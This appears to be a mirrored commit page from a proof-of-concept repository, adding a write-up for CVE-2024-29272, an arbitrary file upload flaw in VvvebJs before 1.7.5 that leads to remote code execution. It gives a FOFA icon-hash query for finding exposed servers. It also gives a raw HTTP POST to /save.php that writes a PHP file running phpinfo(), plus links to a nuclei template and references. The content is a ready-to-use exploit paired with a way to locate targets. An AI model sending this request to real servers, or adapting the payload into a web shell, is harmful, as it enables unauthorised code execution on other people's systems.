admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #16 from Kazgangap/VvvebJs

Browse Source 
VvvebJs < 1.7.5 Arbitrary File Upload - RCE (CVE-2024-29272)
This commit is contained in:
wy876 2024-08-27 09:57:13 +08:00 committed by GitHub
commit c2e72898ac
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 20 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
VvvebJs/VvvebJs Arbitrary File Upload - RCE (CVE-2024-29272).md Normal file
View File

@ -0,0 +1,20 @@
## VvvebJs < 1.7.5 Arbitrary File Upload - RCE (CVE-2024-29272)
## fofa
```
icon_hash="524332373"
```
## poc
```
POST /save.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
file=demo%2Flanding%2Findex.php&html=<?php%20phpinfo();%20?>
```
## nuclei Template
https://github.com/projectdiscovery/nuclei-templates/pull/10608/files
## ref
https://github.com/givanz/VvvebJs/issues/343
https://github.com/awjkjflkwlekfdjs/CVE-2024-29272/tree/main